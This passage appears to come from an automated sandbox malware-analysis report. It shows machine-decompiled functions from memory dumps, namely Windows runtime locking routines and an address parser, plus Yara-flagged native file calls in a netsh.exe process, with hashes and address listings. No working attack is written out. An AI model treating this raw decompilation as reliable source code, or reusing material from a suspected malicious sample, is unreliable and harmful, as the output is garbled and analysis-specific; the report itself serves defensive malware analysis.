						asm("lock xadd [ecx], eax");
						return 1;
					}
				} else {
					L3:
					_push(_t86);
					while(1) {
						L4:
						__eflags = _t32;
						if(_t32 == 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) + 1;
							_t79 = _t64 + 0x24;
							_t71 = 1;
							asm("lock xadd [eax], ecx");
							_t32 =  *(_t64 + 0x28);
							_a4 = _t32;
							__eflags = _t32;
							if(_t32 != 0) {
								L19:
								_t86 = 0;
								__eflags = 0;
								while(1) {
									_t81 =  *(_t64 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t92 =  !( ~( *(_t64 + 0x30) & 1)) & 0x009d01c0;
									_push(_t92);
									_push(0);
									_t37 = E008EF8CC( *((intOrPtr*)(_t64 + 0x20)));
									__eflags = _t37 - 0x102;
									if(_t37 != 0x102) {
										break;
									}
									_t71 =  *(_t92 + 4);
									_t85 =  *_t92;
									_t51 = E00934FC0(_t85, _t71, 0xff676980, 0xffffffff);
									_push(_t85);
									_push(_t51);
									E00943F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t86);
									E00943F92(0x65, 0, "RTL: Resource at %p\n", _t64);
									_t86 = _t86 + 1;
									_t105 = _t104 + 0x28;
									__eflags = _t86 - 2;
									if(__eflags > 0) {
										E0097217A(_t71, __eflags, _t64);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E00943F92();
									_t104 = _t105 + 0xc;
								}
								__eflags = _t37;
								if(__eflags < 0) {
									_push(_t37);
									E00933915(_t64, _t71, _t81, _t86, _t92, __eflags);
									asm("int3");
									_t40 =  *_t71;
									 *_t71 = 0;
									__eflags = _t40;
									if(_t40 == 0) {
										L1:
										_t42 = E00915384(_t92 + 0x24);
										if(_t42 != 0) {
											goto L31;
										} else {
											goto L2;
										}
									} else {
										_t83 =  *((intOrPtr*)(_t92 + 0x18));
										_push( &_a4);
										_push(_t40);
										_t49 = E008EF970( *((intOrPtr*)(_t92 + 0x18)));
										__eflags = _t49;
										if(__eflags >= 0) {
											goto L1;
										} else {
											_push(_t49);
											E00933915(_t64,  &_a4, _t83, _t86, _t92, __eflags);
											L31:
											_t82 =  *((intOrPtr*)(_t92 + 0x20));
											_push( &_a4);
											_push(1);
											_t42 = E008EF970( *((intOrPtr*)(_t92 + 0x20)));
											__eflags = _t42;
											if(__eflags >= 0) {
												L2:
												return _t42;
											} else {
												_push(_t42);
												E00933915(_t64,  &_a4, _t82, _t86, _t92, __eflags);
												_t73 =  *((intOrPtr*)(_t92 + 0x20));
												_push( &_a4);
												_push(1);
												_t42 = E008EF970( *((intOrPtr*)(_t92 + 0x20)));
												__eflags = _t42;
												if(__eflags >= 0) {
													goto L2;
												} else {
													_push(_t42);
													_t45 = E00933915(_t64, _t73, _t82, _t86, _t92, __eflags);
													asm("int3");
													while(1) {
														_t74 = _t45;
														__eflags = _t45 - 1;
														if(_t45 != 1) {
															break;
														}
														_t86 = _t86 | 0xffffffff;
														_t45 = _t74;
														asm("lock cmpxchg [ebx], edi");
														__eflags = _t45 - _t74;
														if(_t45 != _t74) {
															continue;
														} else {
															_t46 =  *[fs:0x18];
															 *((intOrPtr*)(_t92 + 0x2c)) =  *((intOrPtr*)(_t46 + 0x24));
															return _t46;
														}
														goto L38;
													}
													E00915329(_t74, _t92);
													_push(1);
													_t48 = E009153A5(_t92);
													return _t48;
												}
											}
										}
									}
								} else {
									_t32 =  *(_t64 + 0x28);
									continue;
								}
							} else {
								_t71 =  *_t79;
								__eflags = _t71;
								if(__eflags > 0) {
									while(1) {
										_t57 = _t71;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t57 - _t71;
										if(_t57 == _t71) {
											break;
										}
										_t71 = _t57;
										__eflags = _t57;
										if(_t57 > 0) {
											continue;
										}
										break;
									}
									_t32 = _a4;
									__eflags = _t71;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L19;
								}
							}
						}
						goto L38;
					}
					_t71 = _t71 | 0xffffffff;
					_t32 = 0;
					asm("lock cmpxchg [edx], ecx");
					__eflags = 0;
					if(0 != 0) {
						goto L4;
					} else {
						 *((intOrPtr*)(_t64 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
						return 1;
					}
				}
				L38:
			}

0x009153ab
0x009153ae
0x009153b1
0x009153b4
0x009153b7
0x009305b6
0x009305c0
0x009305c3
0x00000000
0x009305c9
0x009305c9
0x009305cc
0x009305d5
0x009305d5
0x009153bd
0x009153bd
0x009153bd
0x009153be
0x009153be
0x009153be
0x009153c0
0x00000000
0x00000000
0x00952269
0x0095226d
0x00952349
0x0095234d
0x00952273
0x00952276
0x00952279
0x0095227e
0x00952283
0x00952287
0x0095228a
0x0095228d
0x0095228f
0x009522bc
0x009522bc
0x009522bc
0x009522be
0x009522c4
0x009522cc
0x009522d0
0x009522d6
0x009522d7
0x009522da
0x009522df
0x009522e4
0x00000000
0x00000000
0x009522e6
0x009522e9
0x009522f4
0x009522f9
0x009522fa
0x00952305
0x00952314
0x00952319
0x0095231a
0x0095231d
0x00952320
0x00952323
0x00952323
0x00952328
0x0095232d
0x0095232f
0x00952331
0x00952336
0x00952336
0x0095233b
0x0095233d
0x00952350
0x00952351
0x00952356
0x00952359
0x00952359
0x0095235b
0x0095235d
0x00915367
0x0091536b
0x00915372
0x00000000
0x00000000
0x00000000
0x00000000
0x00952363
0x00952363
0x00952369
0x0095236a
0x0095236c
0x00952371
0x00952373
0x00000000
0x00952379
0x00952379
0x0095237a
0x0095237f
0x0095237f
0x00952385
0x00952386
0x00952389
0x0095238e
0x00952390
0x00915378
0x0091537c
0x00952396
0x00952396
0x00952397
0x0095239c
0x009523a2
0x009523a3
0x009523a6
0x009523ab
0x009523ad
0x00000000
0x009523b3
0x009523b3
0x009523b4
0x009523b9
0x009523ba
0x009523ba
0x009523bc
0x009523bf
0x00000000
0x00000000
0x00949153
0x00949158
0x0094915a
0x0094915e
0x00949160
0x00000000
0x00949166
0x00949166
0x00949171
0x00949176
0x00949176
0x00000000
0x00949160
0x009523c6
0x009523cb
0x009523ce
0x009523d7
0x009523d7
0x009523ad
0x00952390
0x00952373
0x0095233f
0x0095233f
0x00000000
0x0095233f
0x00952291
0x00952291
0x00952293
0x00952295
0x0095229a
0x009522a1
0x009522a3
0x009522a7
0x009522a9
0x00000000
0x00000000
0x009522ab
0x009522ad
0x009522af
0x00000000
0x00000000
0x00000000
0x009522af
0x009522b1
0x009522b4
0x009522b4
0x009522b6
0x00000000
0x00000000
0x00000000
0x00000000
0x009522b6
0x0095228f
0x00000000
0x0095226d
0x009153cb
0x009153ce
0x009153d0
0x009153d4
0x009153d6
0x00000000
0x009153d8
0x009153e3
0x009153ea
0x009153ea
0x009153d6
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009522F4

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 009522FC
RTL: Re-Waiting, xrefs: 00952328
RTL: Resource at %p, xrefs: 0095230B

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: 36b6603f5377325689ac174b5a473a8affd35b503f0fc67ebb31431fd8ce832c
Instruction ID: 89a295fe3b25fcd6853076f20ea5a3360a5282f20d44b766f3818d913a766ec6
Opcode Fuzzy Hash: 36b6603f5377325689ac174b5a473a8affd35b503f0fc67ebb31431fd8ce832c
Instruction Fuzzy Hash: DB512771700605ABDB15DB29CC81FA6739CEFD5760F124229FD18DB281EA71ED868BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0091EC56, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0091EC56(void* __ecx, void* __edx, intOrPtr* __edi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __esi;
				intOrPtr _t38;
				intOrPtr _t39;
				signed int _t40;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t44;
				void* _t46;
				intOrPtr _t48;
				signed int _t49;
				intOrPtr _t50;
				intOrPtr _t53;
				signed char _t67;
				void* _t72;
				intOrPtr _t77;
				intOrPtr* _t80;
				intOrPtr _t84;
				intOrPtr* _t85;
				void* _t91;
				void* _t92;
				void* _t93;

				_t80 = __edi;
				_t75 = __edx;
				_t70 = __ecx;
				_t84 = _a4;
				if( *((intOrPtr*)(_t84 + 0x10)) == 0) {
					E0090DA92(__ecx, __edx, __eflags, _t84);
					_t38 =  *((intOrPtr*)(_t84 + 0x10));
				}
				_push(0);
				__eflags = _t38 - 0xffffffff;
				if(_t38 == 0xffffffff) {
					_t39 =  *0x9d793c; // 0x0
					_push(0);
					_push(_t84);
					_t40 = E008F16C0(_t39);
				} else {
					_t40 = E008EF9D4(_t38);
				}
				_pop(_t85);
				__eflags = _t40;
				if(__eflags < 0) {
					_push(_t40);
					E00933915(_t67, _t70, _t75, _t80, _t85, __eflags);
					asm("int3");
					while(1) {
						L21:
						_t76 =  *[fs:0x18];
						_t42 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
						__eflags =  *(_t42 + 0x240) & 0x00000002;
						if(( *(_t42 + 0x240) & 0x00000002) != 0) {
							_v36 =  *(_t85 + 0x14) & 0x00ffffff;
							_v66 = 0x1722;
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_t76 =  &_v72;
							_push( &_v72);
							_v28 = _t85;
							_v40 =  *((intOrPtr*)(_t85 + 4));
							_v32 =  *((intOrPtr*)(_t85 + 0xc));
							_push(0x10);
							_push(0x20402);
							E008F01A4( *0x7ffe0382 & 0x000000ff);
						}
						while(1) {
							_t43 = _v8;
							_push(_t80);
							_push(0);
							__eflags = _t43 - 0xffffffff;
							if(_t43 == 0xffffffff) {
								_t71 =  *0x9d793c; // 0x0
								_push(_t85);
								_t44 = E008F1F28(_t71);
							} else {
								_t44 = E008EF8CC(_t43);
							}
							__eflags = _t44 - 0x102;
							if(_t44 != 0x102) {
								__eflags = _t44;
								if(__eflags < 0) {
									_push(_t44);
									E00933915(_t67, _t71, _t76, _t80, _t85, __eflags);
									asm("int3");
									E00972306(_t85);
									__eflags = _t67 & 0x00000002;
									if((_t67 & 0x00000002) != 0) {
										_t7 = _t67 + 2; // 0x4
										_t72 = _t7;
										asm("lock cmpxchg [edi], ecx");
										__eflags = _t67 - _t67;
										if(_t67 == _t67) {
											E0091EC56(_t72, _t76, _t80, _t85);
										}
									}
									return 0;
								} else {
									__eflags = _v24;
									if(_v24 != 0) {
										 *((intOrPtr*)(_v12 + 0xf84)) = 0;
									}
									return 2;
								}
								goto L36;
							}
							_t77 =  *((intOrPtr*)(_t80 + 4));
							_push(_t67);
							_t46 = E00934FC0( *_t80, _t77, 0xff676980, 0xffffffff);
							_push(_t77);
							E00943F92(0x65, 1, "RTL: Enter Critical Section Timeout (%I64u secs) %d\n", _t46);
							_t48 =  *_t85;
							_t92 = _t91 + 0x18;
							__eflags = _t48 - 0xffffffff;
							if(_t48 == 0xffffffff) {
								_t49 = 0;
								__eflags = 0;
							} else {
								_t49 =  *((intOrPtr*)(_t48 + 0x14));
							}
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_push(_t49);
							_t50 = _v12;
							_t76 =  *((intOrPtr*)(_t50 + 0x24));
							_push(_t85);
							_push( *((intOrPtr*)(_t85 + 0xc)));
							_push( *((intOrPtr*)(_t50 + 0x24)));
							E00943F92(0x65, 0, "RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu\n",  *((intOrPtr*)(_t50 + 0x20)));
							_t53 =  *_t85;
							_t93 = _t92 + 0x20;
							_t67 = _t67 + 1;
							__eflags = _t53 - 0xffffffff;
							if(_t53 != 0xffffffff) {
								_t71 =  *((intOrPtr*)(_t53 + 0x14));
								_a4 =  *((intOrPtr*)(_t53 + 0x14));
							}
							__eflags = _t67 - 2;
							if(_t67 > 2) {
								__eflags = _t85 - 0x9d20c0;
								if(_t85 != 0x9d20c0) {
									_t76 = _a4;
									__eflags = _a4 - _a8;
									if(__eflags == 0) {
										E0097217A(_t71, __eflags, _t85);
									}
								}
							}
							_push("RTL: Re-Waiting\n");
							_push(0);
							_push(0x65);
							_a8 = _a4;
							E00943F92();
							_t91 = _t93 + 0xc;
							__eflags =  *0x7ffe0382;
							if( *0x7ffe0382 != 0) {
								goto L21;
							}
						}
						goto L36;
					}
				} else {
					return _t40;
				}
				L36:
			}

0x0091ec56
0x0091ec56
0x0091ec56
0x0091ec5c
0x0091ec64
0x009523e6
0x009523eb
0x009523eb
0x0091ec6a
0x0091ec6c
0x0091ec6f
0x009523f3
0x009523f8
0x009523fa
0x009523fc
0x0091ec75
0x0091ec76
0x0091ec76
0x0091ec7b
0x0091ec7c
0x0091ec7e
0x00952406
0x00952407
0x0095240c
0x0095240d
0x0095240d
0x0095240d
0x00952414
0x00952417
0x0095241e
0x00952435
0x00952438
0x0095243c
0x0095243f
0x00952442
0x00952443
0x00952446
0x00952449
0x00952453
0x00952455
0x0095245b
0x0095245b
0x0091eb99
0x0091eb99
0x0091eb9c
0x0091eb9d
0x0091eb9f
0x0091eba2
0x00952465
0x0095246b
0x0095246d
0x0091eba8
0x0091eba9
0x0091eba9
0x0091ebae
0x0091ebb3
0x0091ebb9
0x0091ebbb
0x00952513
0x00952514
0x00952519
0x0095251b
0x0091ec2a
0x0091ec2d
0x0091ec33
0x0091ec36
0x0091ec3a
0x0091ec3e
0x0091ec40
0x0091ec47
0x0091ec47
0x0091ec40
0x008f22c6
0x0091ebc1
0x0091ebc1
0x0091ebc5
0x0091ec9a
0x0091ec9a
0x0091ebd6
0x0091ebd6
0x00000000
0x0091ebbb
0x00952477
0x0095247c
0x00952486
0x0095248b
0x00952496
0x0095249b
0x0095249d
0x009524a0
0x009524a3
0x009524aa
0x009524aa
0x009524a5
0x009524a5
0x009524a5
0x009524ac
0x009524af
0x009524b0
0x009524b3
0x009524b9
0x009524ba
0x009524bb
0x009524c6
0x009524cb
0x009524cd
0x009524d0
0x009524d1
0x009524d4
0x009524d6
0x009524d9
0x009524d9
0x009524dc
0x009524df
0x009524e1
0x009524e7
0x009524e9
0x009524ec
0x009524ef
0x009524f2
0x009524f2
0x009524ef
0x009524e7
0x009524fa
0x009524ff
0x00952501
0x00952503
0x00952506
0x0095250b
0x0091eb8c
0x0091eb93
0x00000000
0x00000000
0x0091eb93
0x00000000
0x0091eb99
0x0091ec85
0x0091ec85
0x0091ec85
0x00000000

Strings

RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 0095248D
RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 009524BD
RTL: Re-Waiting, xrefs: 009524FA

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: a12ee60f3f861bd863889686199f3866fb90a5c8b370d5c8dd44142255fc8691
Instruction ID: 7a9e063de6dcf3a45ccc4f3a4db3dc4b7f3d4f5b5390f2450da218f9d002c0e3
Opcode Fuzzy Hash: a12ee60f3f861bd863889686199f3866fb90a5c8b370d5c8dd44142255fc8691
Instruction Fuzzy Hash: BF411870A04208ABC720DFA9CC85FAB77A9EF85720F208A05FA55DB3D1D734E9458761

Uniqueness

Uniqueness Score: -1.00%

Function 0092FCC9, Relevance: 6.3, APIs: 4, Instructions: 257
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0092FCC9(signed short* _a4, char _a7, signed short** _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t105;
				void* _t110;
				char _t114;
				short _t115;
				void* _t118;
				signed short* _t119;
				short _t120;
				char _t122;
				void* _t127;
				void* _t130;
				signed int _t136;
				intOrPtr _t143;
				signed int _t158;
				signed short* _t164;
				signed int _t167;
				void* _t170;

				_t158 = 0;
				_t164 = _a4;
				_v20 = 0;
				_v24 = 0;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_v28 = 0;
				_t136 = 0;
				while(1) {
					_t167 =  *_t164 & 0x0000ffff;
					if(_t167 == _t158) {
						break;
					}
					_t118 = _v20 - _t158;
					if(_t118 == 0) {
						if(_t167 == 0x3a) {
							if(_v12 > _t158 || _v8 > _t158) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									break;
								}
								_t143 = 2;
								 *((short*)(_a12 + _t136 * 2)) = 0;
								_v28 = 1;
								_v8 = _t143;
								_t136 = _t136 + 1;
								L47:
								_t164 = _t119;
								_v20 = _t143;
								L14:
								if(_v24 == _t158) {
									L19:
									_t164 =  &(_t164[1]);
									_t158 = 0;
									continue;
								}
								if(_v12 == _t158) {
									if(_v16 > 4) {
										L29:
										return 0xc000000d;
									}
									_t120 = E0092EE02(_v24, _t158, 0x10);
									_t170 = _t170 + 0xc;
									 *((short*)(_a12 + _t136 * 2)) = _t120;
									_t136 = _t136 + 1;
									goto L19;
								}
								if(_v16 > 3) {
									goto L29;
								}
								_t122 = E0092EE02(_v24, _t158, 0xa);
								_t170 = _t170 + 0xc;
								if(_t122 > 0xff) {
									goto L29;
								}
								 *((char*)(_v12 + _t136 * 2 + _a12 - 1)) = _t122;
								goto L19;
							}
						}
						L21:
						if(_v8 > 7 || _t167 >= 0x80) {
							break;
						} else {
							if(E0092685D(_t167, 4) == 0) {
								if(E0092685D(_t167, 0x80) != 0) {
									if(_v12 > 0) {
										break;
									}
									_t127 = 1;
									_a7 = 1;
									_v24 = _t164;
									_v20 = 1;
									_v16 = 1;
									L36:
									if(_v20 == _t127) {
										goto L19;
									}
									_t158 = 0;
									goto L14;
								}
								break;
							}
							_a7 = 0;
							_v24 = _t164;
							_v20 = 1;
							_v16 = 1;
							goto L19;
						}
					}
					_t130 = _t118 - 1;
					if(_t130 != 0) {
						if(_t130 == 1) {
							goto L21;
						}
						_t127 = 1;
						goto L36;
					}
					if(_t167 >= 0x80) {
						L7:
						if(_t167 == 0x3a) {
							_t158 = 0;
							if(_v12 > 0 || _v8 > 6) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									_v8 = _v8 + 1;
									L13:
									_v20 = _t158;
									goto L14;
								}
								if(_v28 != 0) {
									break;
								}
								_v28 = _v8 + 1;
								_t143 = 2;
								_v8 = _v8 + _t143;
								goto L47;
							}
						}
						if(_t167 != 0x2e || _a7 != 0 || _v12 > 2 || _v8 > 6) {
							break;
						} else {
							_v12 = _v12 + 1;
							_t158 = 0;
							goto L13;
						}
					}
					if(E0092685D(_t167, 4) != 0) {
						_v16 = _v16 + 1;
						goto L19;
					}
					if(E0092685D(_t167, 0x80) != 0) {
						_v16 = _v16 + 1;
						if(_v12 > 0) {
							break;
						}
						_a7 = 1;
						goto L19;
					}
					goto L7;
				}
				 *_a8 = _t164;
				if(_v12 != 0) {
					if(_v12 != 3) {
						goto L29;
					}
					_v8 = _v8 + 1;
				}
				if(_v28 != 0 || _v8 == 7) {
					if(_v20 != 1) {
						if(_v20 != 2) {
							goto L29;
						}
						 *((short*)(_a12 + _t136 * 2)) = 0;
						L65:
						_t105 = _v28;
						if(_t105 != 0) {
							_t98 = (_t105 - _v8) * 2; // 0x11
							E00908980(_a12 + _t98 + 0x10, _a12 + _t105 * 2, _v8 - _t105 + _v8 - _t105);
							_t110 = 8;
							E008FDFC0(_a12 + _t105 * 2, 0, _t110 - _v8 + _t110 - _v8);
						}
						return 0;
					}
					if(_v12 != 0) {
						if(_v16 > 3) {
							goto L29;
						}
						_t114 = E0092EE02(_v24, 0, 0xa);
						_t170 = _t170 + 0xc;
						if(_t114 > 0xff) {
							goto L29;
						}
						 *((char*)(_v12 + _t136 * 2 + _a12)) = _t114;
						goto L65;
					}
					if(_v16 > 4) {
						goto L29;
					}
					_t115 = E0092EE02(_v24, 0, 0x10);
					_t170 = _t170 + 0xc;
					 *((short*)(_a12 + _t136 * 2)) = _t115;
					goto L65;
				} else {
					goto L29;
				}
			}

0x0092fcd1
0x0092fcd6
0x0092fcd9
0x0092fcdc
0x0092fcdf
0x0092fce2
0x0092fce5
0x0092fce8
0x0092fceb
0x0092fced
0x0092fced
0x0092fcf3
0x00000000
0x00000000
0x0092fcfc
0x0092fcfe
0x0092fdc1
0x0095ecbd
0x00000000
0x0095eccc
0x0095eccc
0x0095ecd2
0x00000000
0x00000000
0x0095ecdf
0x0095ece0
0x0095ece4
0x0095eceb
0x0095ecee
0x0095eca8
0x0095eca8
0x0095ecaa
0x0092fd76
0x0092fd79
0x0092fdb4
0x0092fdb5
0x0092fdb6
0x00000000
0x0092fdb6
0x0092fd7e
0x0095ecfc
0x0092fe2f
0x00000000
0x0092fe2f
0x0095ed08
0x0095ed0f
0x0095ed17
0x0095ed1b
0x00000000
0x0095ed1b
0x0092fd88
0x00000000
0x00000000
0x0092fd94
0x0092fd99
0x0092fda1
0x00000000
0x00000000
0x0092fdb0
0x00000000
0x0092fdb0
0x0095ecbd
0x0092fdc7
0x0092fdcb
0x00000000
0x0092fdd7
0x0092fde3
0x0092fe06
0x00941fe7
0x00000000
0x00000000
0x00941fef
0x00941ff0
0x00941ff4
0x00941ff7
0x00941ffa
0x00941ffd
0x00942000
0x00000000
0x00000000
0x0095ecf1
0x00000000
0x0095ecf1
0x00000000
0x0092fe06
0x0092fde8
0x0092fdec
0x0092fdef
0x0092fdf2
0x00000000
0x0092fdf2
0x0092fdcb
0x0092fd04
0x0092fd05
0x0095ec67
0x00000000
0x00000000
0x0095ec6f
0x00000000
0x0095ec6f
0x0092fd13
0x0092fd3c
0x0092fd40
0x0095ec75
0x0095ec7a
0x00000000
0x0095ec8a
0x0095ec8a
0x0095ec90
0x0095ecb2
0x0092fd73
0x0092fd73
0x00000000
0x0092fd73
0x0095ec95
0x00000000
0x00000000
0x0095eca1
0x0095eca4
0x0095eca5
0x00000000
0x0095eca5
0x0095ec7a
0x0092fd4a
0x00000000
0x0092fd6e
0x0092fd6e
0x0092fd71
0x00000000
0x0092fd71
0x0092fd4a
0x0092fd21
0x0093a3a1
0x00000000
0x0093a3a1
0x0092fd36
0x0094200b
0x00942012
0x00000000
0x00000000
0x00942018
0x00000000
0x00942018
0x00000000
0x0092fd36
0x0092fe0f
0x0092fe16
0x0093a3ad
0x00000000
0x00000000
0x0093a3b3
0x0093a3b3
0x0092fe1f
0x0095ed25
0x0095ed86
0x00000000
0x00000000
0x0095ed91
0x0095ed95
0x0095ed95
0x0095ed9a
0x0095edad
0x0095edb3
0x0095edba
0x0095edc4
0x0095edc9
0x00000000
0x0095edcc
0x0095ed2a
0x0095ed55
0x00000000
0x00000000
0x0095ed61
0x0095ed66
0x0095ed6e
0x00000000
0x00000000
0x0095ed7d
0x00000000
0x0095ed7d
0x0095ed30
0x00000000
0x00000000
0x0095ed3c
0x0095ed43
0x0095ed4b
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__fassign.LIBCMT ref: 0092FD94

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: 716a7c8019105a1cf3c7e12b338b111390cb5ea144ab27ef37a8c7f582636b99
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: 9C91C031D0022AEFDF29CF98D8556AEB7B8FF54305F20847AD841A71A6E7315B85CB81

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: netsh.exe PID: 1604 Parent PID: 1388 netsh.exeCOMMON

Executed Functions

Function 00099D50, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,?,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,wK,007A002E,00000000,00000060,00000000,00000000), ref: 00099D9D

Strings

.z`, xrefs: 00099D8D, 00099D98
wK, xrefs: 00099D6C, 00099D78

Memory Dump Source

Source File: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`$wK
API String ID: 823142352-635088003
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: 0a441b4dce64d7bec0249cb88b86821ea0342ac4fd6d7c1531e9a6fcd94e2e80
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: 60F0BDB2200208AFCB08CF88DC95EEB77ADAF8C754F158248BA1D97241C630E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00099DA9, Relevance: 1.6, APIs: 1, Instructions: 73filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,000949F1,?,?,?,?,000949F1,FFFFFFFF,?,2M,?,00000000), ref: 00099E45

Memory Dump Source

Source File: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: e6364cb0e70cabb3b3001f61a471ee8094def7c69c8c1dba0951814a8dee57c6
Instruction ID: 0274c6a1b8a50340a0e67021a92a3dad5a71189e9c78e89b48de5aa8bf9bcc66
Opcode Fuzzy Hash: e6364cb0e70cabb3b3001f61a471ee8094def7c69c8c1dba0951814a8dee57c6
Instruction Fuzzy Hash: 5F2193B6200109AFCB18DF99DC95EEB77A9AF8C754F158249BA1DA7241C630E9118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00099E7A, Relevance: 1.5, APIs: 1, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00094D10,?,?,00094D10,00000000,FFFFFFFF), ref: 00099EA5

Memory Dump Source

Source File: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 32c3951f864392ca5114e654e3262048c960c9fe6074f40cf1fcdcf122cd34c2
Instruction ID: ad7dd047a8eb6a3a9928292274995fa0f324570e1cfe63f0f46cffb78f4326ab
Opcode Fuzzy Hash: 32c3951f864392ca5114e654e3262048c960c9fe6074f40cf1fcdcf122cd34c2
Instruction Fuzzy Hash: C5F03CB5200208ABCB10EF99DC85DEB77ADEF89360F118549FE5C97242D630E9108BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00099E00, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,000949F1,?,?,?,?,000949F1,FFFFFFFF,?,2M,?,00000000), ref: 00099E45

Memory Dump Source

Source File: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: FileRead
